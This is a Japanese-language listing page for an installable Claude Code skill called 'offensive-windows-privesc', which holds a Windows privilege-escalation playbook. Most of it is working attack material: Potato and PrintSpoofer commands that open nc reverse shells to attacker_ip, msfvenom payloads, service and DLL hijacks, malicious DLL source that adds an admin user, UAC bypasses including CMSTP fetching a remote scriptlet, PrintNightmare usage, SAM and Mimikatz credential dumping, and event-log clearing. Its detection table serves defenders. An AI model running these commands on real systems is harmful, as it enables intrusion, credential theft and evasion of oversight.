mcpField
O
offensive-windows-privesc

offensive-windows-privesc

github.com/snailsploitセキュリティ9.7k129 回インストール2 週間前に更新
リポジトリ

offensive-windows-privesc について

標準ユーザーのシェルから、許可された Windows 環境の権限昇格を調べるための手順ガイドです。設定不備の列挙、悪用経路、認証情報の調査を段階的に扱います。

主な機能

  1. 01自動列挙の手順
  2. 02トークン権限の確認
  3. 03サービスと DLL の設定確認
  4. 04UAC・タスク・自動実行の確認
  5. 05認証情報の取得元調査

活用シーン

  1. 01標準ユーザーシェルからの Windows ホスト評価
  2. 02サービスやトークンの昇格経路の整理
  3. 03許可された評価での保存済み認証情報の調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-windows-privesc

インストール後、Claude Code で/offensive-windows-privescを入力して読み込まれたか確認します。

詳細

Windows の権限昇格

Windows ターゲット上で標準ユーザーのシェルを使用しています。目的は、設定ミス、脆弱なサービス、未適用のソフトウェア更新を体系的に列挙して悪用し、NT AUTHORITY\SYSTEM またはローカルの Administrator に権限を昇格させることです。このスキルでは、受動的な偵察から始め、段階的に手法を強化していく体系的な方法を紹介します。

Windows の権限昇格は、Linux の場合とは根本的に異なります。攻撃対象領域の中心となるのは、サービス、トークン、レジストリ、DLL の読み込みの仕組み、そして Windows のアクセス制御モデルです。これらの基本要素を習得すれば、あらゆる列挙ツールで見つけた情報を組み合わせ、実際に機能する権限昇格経路を構築できます。

クイックワークフロー

  1. 自動列挙ツール(WinPEAS、PowerUp、Seatbelt)を実行して、設定ミスを洗い出します。
  2. 現在の特権を確認します。SeImpersonate/SeAssignPrimaryToken があれば、すぐに権限昇格できる可能性があります。
  3. サービスを列挙し、引用符で囲まれていないパス、弱い DACL、書き込み可能なバイナリを確認します。
  4. MSI ベースの権限昇格に利用できる AlwaysInstallElevated レジストリキーを確認します。
  5. 特権プロセスで DLL ハイジャックが可能か調べます。
  6. ローカル管理者として実行中で、昇格されていない場合は、UAC バイパスを試みます。
  7. スケジュールされたタスク、レジストリの自動実行設定、書き込み可能な PATH ディレクトリを調べます。
  8. SAM、DPAPI、LSA シークレット、資格情報マネージャーから資格情報を取得します。
  9. 最後の手段として、PrintNightmare などの未修正の脆弱性を確認します。

自動列挙

まず自動化ツールを実行して、攻撃対象領域の全体像を把握します。出力を体系的に確認してください。こうしたツールは、見落としがちな情報を検出します。

# WinPEAS
.\winPEASx64.exe > C:\Users\Public\winpeas.txt 2>&1
.\winPEASx64.exe servicesinfo  # Specific checks only

# PowerUp
Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File -FilePath C:\Users\Public\powerup.txt

# SharpUp / Seatbelt / BeRoot
.\SharpUp.exe audit
.\Seatbelt.exe -group=all > C:\Users\Public\seatbelt.txt
.\beRoot.exe

トークンの偽装

ユーザーに SeImpersonate または SeAssignPrimaryToken 特権がある場合(サービスアカウント、IIS AppPool、SQL Server、MSSQL でよく見られます)、SYSTEM トークンを偽装できます。これは Windows で最も確実性の高い権限昇格手段の 1 つです。

特権の確認
# Check current privileges
whoami /priv

# Look for these specifically:
# SeImpersonatePrivilege        - Impersonate a client after authentication
# SeAssignPrimaryTokenPrivilege - Replace a process-level token
JuicyPotato(Windows Server 2008-2016、Windows 7-10 before 1809)
# JuicyPotato abuses COM DCOM authentication to negotiate a SYSTEM token
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

# Common CLSIDs vary by OS version
# Windows 10: {4991d34b-80a1-4291-83b6-3328366b9097}
# Windows Server 2016: {8BC3F05E-D86B-11D0-A075-00C04FB68820}

# If default CLSID fails, enumerate valid ones
.\JuicyPotato.exe -z -l 1337 -t * -c {clsid_here}
PrintSpoofer(Windows 10、Server 2016/2019)
# Abuses the Print Spooler service to capture a SYSTEM token
.\PrintSpoofer64.exe -i -c powershell.exe

# Direct command execution
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"
GodPotato(Windows 8-11、Server 2012-2022)
# Works across a wide range of Windows versions -- choose the right .NET binary
.\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"
SweetPotato と RoguePotato
# SweetPotato -- combines multiple potato techniques
.\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add && net localgroup Administrators hacker /add"

# RoguePotato (Win10 1809+, Server 2019) -- requires attacker relay on port 135
# Attacker: socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999
.\RoguePotato.exe -r attacker_ip -e "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999

ターゲットの OS バージョンに応じて、適切な Potato を選んでください。最新のシステムでは、PrintSpoofer と GodPotato が最も幅広く対応しています。


サービスの設定ミス

SYSTEM として実行される Windows サービスは、権限昇格の主なターゲットです。サービスのパス、アクセス許可、バイナリの場所に設定ミスがあると、悪用可能な状況が生まれます。

引用符で囲まれていないサービスパス
# Find unquoted service paths with spaces
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v '"'

# Or use PowerUp
Get-ServiceUnquoted

# Example: path is C:\Program Files\Some Service\binary.exe
# Windows tries these in order:
#   C:\Program.exe
#   C:\Program Files\Some.exe
#   C:\Program Files\Some Service\binary.exe

# If you can write to C:\Program Files\Some Service\
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o "C:\Program Files\Some Service\Some.exe"

# Restart the service
sc stop "ServiceName"
sc start "ServiceName"
# Or wait for system reboot
弱いサービス DACL
# Check service permissions with accesschk (Sysinternals)
.\accesschk64.exe -uwcqv "Authenticated Users" * /accepteula
.\accesschk64.exe -uwcqv "Users" * /accepteula
.\accesschk64.exe -uwcqv "Everyone" * /accepteula

# If SERVICE_CHANGE_CONFIG is granted
sc config "VulnService" binpath= "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"
sc stop "VulnService"
sc start "VulnService"

# If SERVICE_ALL_ACCESS is granted
sc config "VulnService" binpath= "net localgroup administrators hacker /add"
sc stop "VulnService"
sc start "VulnService"

# PowerUp automated exploitation
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'Password123!'
書き込み可能なサービスバイナリ
# Check if the service binary is writable, then replace it
icacls "C:\Program Files\Service\binary.exe"
move "C:\Program Files\Service\binary.exe" "C:\Program Files\Service\binary.exe.bak"
copy C:\Users\Public\payload.exe "C:\Program Files\Service\binary.exe"
sc stop "ServiceName" && sc start "ServiceName"

# Using PowerUp
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'VulnService'

AlwaysInstallElevated

コンピューターとユーザーの両方の AlwaysInstallElevated レジストリキーが 1 に設定されている場合、どのユーザーでも SYSTEM 権限で MSI パッケージをインストールできます。

# Check both registry keys (both must be 1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Generate a malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f msi -o escalate.msi

# Install with elevated privileges
msiexec /quiet /qn /i C:\Users\Public\escalate.msi

# Using PowerUp
Write-UserAddMSI
# Creates UserAdd.msi that adds a local admin
msiexec /quiet /qn /i UserAdd.msi

DLL ハイジャック

Windows の DLL 検索順序を利用して、特権プロセスのコンテキストに悪意のあるライブラリを注入できます。SYSTEM として実行中のプロセスが書き込み可能な場所から DLL を読み込む場合、独自の DLL に差し替えることができます。

検索順序のハイジャック
# Standard DLL search order:
# 1. Application directory
# 2. System directory (C:\Windows\System32)
# 3. 16-bit system directory
# 4. Windows directory
# 5. Current directory
# 6. PATH directories

# Monitor DLL loading with Process Monitor (procmon)
# Filter: Result = NAME NOT FOUND, Path ends with .dll

# Find writable directories in PATH
$env:PATH -split ';' | ForEach-Object {
    $acl = Get-Acl $_ -ErrorAction SilentlyContinue
    if ($acl) {
        $_ + " -> " + ($acl.Access | Where-Object {
            $_.IdentityReference -match "Users|Everyone|Authenticated" -and
            $_.FileSystemRights -match "Write|Modify|FullControl"
        } | Select-Object -First 1).IdentityReference
    }
}
ファントム DLL ハイジャック
# Some services load DLLs that do not exist -- use procmon to identify these.
# Common phantom DLLs: wlbsctrl.dll (IKEEXT), wbemcomn.dll (WMI), fveapi.dll
# Generate: msfvenom -p windows/x64/shell_reverse_tcp LHOST=x LPORT=4444 -f dll -o wlbsctrl.dll
copy wlbsctrl.dll C:\writable\path\directory\
悪意のある DLL のテンプレート
// dll_hijack.c -- compile with: x86_64-w64-mingw32-gcc -shared -o hijack.dll dll_hijack.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcess(NULL, "cmd.exe /c net localgroup administrators hacker /add",
                      NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    }
    return TRUE;
}

UAC バイパス

整合性レベルが中の状態でローカル管理者として実行中の場合、ユーザーアカウント制御(UAC)をバイパスできます。UAC バイパスを使うと、同意を求めるプロンプトを表示せずに高い整合性レベルへ昇格します。

UAC 設定の確認
# Check current integrity level
whoami /groups | findstr "Mandatory"

# Check UAC configuration
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# ConsentPromptBehaviorAdmin = 0 means UAC is effectively disabled
fodhelper.exe のバイパス
# fodhelper.exe auto-elevates and reads from a user-writable registry key
# Works on Windows 10/11

# Set the registry key to execute our command
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -Force

# Trigger fodhelper
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

# Cleanup
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
eventvwr.exe のバイパス
# eventvwr.exe reads from HKCU registry before HKCR
# Works on Windows 7-10

New-Item "HKCU:\Software\Classes\mscfile\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Users\Public\payload.exe" -Force

# Trigger eventvwr
Start-Process "C:\Windows\System32\eventvwr.exe"

# Cleanup
Remove-Item "HKCU:\Software\Classes\mscfile\" -Recurse -Force
CMSTP のバイパス
# Create an INF file that CMSTP will process
$inf = @"
[version]
Signature=`$chicago`$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://attacker_ip/payload.sct
"@
$inf | Out-File C:\Users\Public\bypass.inf

# Execute CMSTP with the crafted INF
cmstp.exe /ni /s C:\Users\Public\bypass.inf

スケジュールされたタスクの悪用

SYSTEM として実行され、アクションが書き込み可能であるか、アクセス許可に設定ミスがあるスケジュールされたタスクは、権限昇格経路となります。

# Enumerate scheduled tasks
schtasks /query /fo LIST /v > C:\Users\Public\tasks.txt

# Find tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "SYSTEM" -B 5

# Check permissions on task action binaries
icacls "C:\Path\To\Task\Binary.exe"

# If the binary is writable
copy C:\Users\Public\payload.exe "C:\Path\To\Task\Binary.exe"

# Check task file permissions (XML definitions)
.\accesschk64.exe -uwq "C:\Windows\System32\Tasks" /accepteula

# Create a new scheduled task (requires appropriate permissions)
schtasks /create /tn "Escalate" /tr "C:\Users\Public\payload.exe" /sc onstart /ru SYSTEM

# Using PowerShell
$action = New-ScheduledTaskAction -Execute "C:\Users\Public\nc.exe" -Argument "attacker_ip 4444 -e cmd.exe"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName "Escalate" -Action $action -Trigger $trigger -Principal $principal

レジストリの自動実行設定

レジストリキーを使って起動時に実行するよう設定されたプログラムは、バイナリまたは参照先のパスが書き込み可能な場合に乗っ取ることができます。

# Common autorun registry locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check permissions on autorun binaries
.\accesschk64.exe -uwqs "Everyone" "C:\Program Files" /accepteula
.\accesschk64.exe -uwqs "Users" "C:\Program Files" /accepteula

# If an autorun binary is writable
move "C:\Program Files\Autorun\app.exe" "C:\Program Files\Autorun\app.exe.bak"
copy C:\Users\Public\payload.exe "C:\Program Files\Autorun\app.exe"

# Wait for admin login or system reboot

# Using PowerUp
Get-ModifiableRegistryAutoRun

PrintNightmare -- CVE-2021-34527

PrintNightmare は Windows Print Spooler サービスに影響し、リモートコード実行とローカルでの権限昇格の両方を可能にします。任意の DLL を SYSTEM として読み込めます。

# Check if Print Spooler is running
Get-Service -Name Spooler

# Check if the system is patched
Get-HotFix | Where-Object { $_.HotFixID -match "KB500(05010|05022|05040)" }

# Local privilege escalation variant
# Requires a malicious DLL accessible via UNC path or local path

# Using the PowerShell PoC
Import-Module .\CVE-2021-34527.ps1
Invoke-Nightmare -DLL "C:\Users\Public\malicious.dll"

# Using SharpPrintNightmare
.\SharpPrintNightmare.exe "C:\Users\Public\malicious.dll"

# The DLL executes as SYSTEM when the Spooler processes the driver
# Common payload: add user to local admins
# DLL calls: net localgroup administrators hacker /add
// printnightmare_dll.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("net user hacker Password123! /add");
        system("net localgroup administrators hacker /add");
    }
    return TRUE;
}

認証情報の窃取

システムに保存された認証情報は、ラテラルムーブメントや、より高い権限を持つアカウントへの直接的な権限昇格につながる可能性があります。

SAM データベースの抽出
# SAM and SYSTEM hive extraction (requires admin or backup operators group)
reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM
reg save HKLM\SECURITY C:\Users\Public\SECURITY

# Transfer to attacker machine and extract with secretsdump
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

# Volume Shadow Copy method (if reg save fails)
wmic shadowcopy call create Volume='C:\'
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Users\Public\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Users\Public\SYSTEM
DPAPI と LSA シークレット
# DPAPI -- list credential blobs
dir C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\
dir C:\Users\<user>\AppData\Local\Microsoft\Credentials\

# Mimikatz DPAPI decryption (requires SYSTEM or user context)
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\<blob>" exit

# SharpDPAPI for targeted extraction
.\SharpDPAPI.exe triage

# LSA secrets (service account passwords, auto-logon creds, machine account)
mimikatz.exe "privilege::debug" "lsadump::secrets" exit
Credential Manager
# Enumerate stored credentials
cmdkey /list

# If credentials are stored for admin accounts, use runas
runas /savecred /user:DOMAIN\admin "cmd.exe /c whoami > C:\Users\Public\whoami.txt"
その他の認証情報の取得元
# Unattended install files
dir C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\sysprep\sysprep.xml /s 2>nul

# IIS configuration and web.config
type C:\inetpub\wwwroot\web.config 2>nul

# WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="NetworkName" key=clear

# PowerShell history
type C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Saved RDP connections
reg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"

検知/Defender の視点

上記のすべての手法には、それぞれ対応する検知の機会があります。これらを理解すると、成熟したターゲットでより慎重に作業できるようになり、ブルーチームが監視を構築するうえでも役立ちます。

手法検知の指標
WinPEAS/列挙短時間に大量の WMI クエリ、レジストリの読み取り、サービスの列挙が行われる
トークンの偽装名前付きパイプの作成(PrintSpoofer)、通常とは異なる COM/DCOM のアクティベーション(Potato 系)、Sysmon Event ID 8(CreateRemoteThread)
サービスの悪用サービス設定の変更(Event ID 7045)、sc.exe/reg.exe の実行、バイナリの置き換え(ファイル整合性)
AlwaysInstallElevatedmsiexec.exe が予期しない子プロセスを起動する、非管理者ユーザーによる MSI インストールイベント
DLL ハイジャック通常とは異なるパスからの DLL 読み込み(Sysmon Event ID 7)、システムディレクトリ内の署名されていない DLL
UAC のバイパスHKCU\Software\Classes 配下のレジストリ変更、自動昇格プロセスによる cmd/powershell の起動(Event ID 4688)
スケジュールされたタスクの悪用タスク作成イベント(Event ID 4698)、タスク変更(Event ID 4702)、schtasks.exe の実行
PrintNightmare標準以外のパスからの Print Spooler による DLL 読み込み、Event ID 808(PrintService)、ドライバーのインストールイベント
認証情報の窃取LSASS へのアクセス(Sysmon Event ID 10)、SAM/SECURITY/SYSTEM ハイブへの reg.exe によるアクセス、Mimikatz のシグネチャ

主なログソース:

Windows Security Log: 4688 (process creation), 4697 (service install), 4698 (task creation), 4703 (token adjust), 7045 (new service)
Sysmon: Event 1 (process), 7 (DLL load), 8 (CreateRemoteThread), 10 (LSASS access), 13 (registry set)
PowerShell: Script Block Logging (4104), Module Logging, Transcription

エンゲージメント用チートシート

PHASE 1 -- ENUMERATE
  whoami /priv                                # SeImpersonate? SeAssignPrimaryToken?
  whoami /groups                              # Local admin? Backup operators?
  systeminfo                                  # OS version, hotfixes, architecture
  wmic service get name,pathname,startmode    # Unquoted paths
  reg query HKLM\...\AlwaysInstallElevated    # MSI escalation
  schtasks /query /fo LIST /v                 # Scheduled tasks
  reg query HKLM\...\Run                      # Autoruns

PHASE 2 -- QUICK WINS
  SeImpersonate -> PrintSpoofer / GodPotato   # Service account to SYSTEM
  AlwaysInstallElevated -> msiexec payload    # Any user to SYSTEM
  Writable service binary -> replace + restart

PHASE 3 -- SERVICE EXPLOITATION
  Unquoted path -> drop binary in gap
  Weak DACL -> sc config binpath
  DLL hijack -> writable PATH dir or phantom DLL

PHASE 4 -- UAC + CREDENTIALS
  fodhelper/eventvwr -> high integrity shell
  SAM + SYSTEM hive extraction -> offline crack
  Mimikatz -> DPAPI, LSA, credential manager
  cmdkey /list -> runas /savecred

PHASE 5 -- CVE EXPLOITATION (last resort)
  PrintNightmare -> CVE-2021-34527 (Spooler)
  Check systeminfo against exploit-db/windows-exploit-suggester

CLEANUP
  Remove dropped binaries and DLLs
  Restore original service configurations
  Remove created users and scheduled tasks
  Clear PowerShell history and event logs (if authorized)
  sc config "ServiceName" binpath= "original_path"

主な参考資料

コメント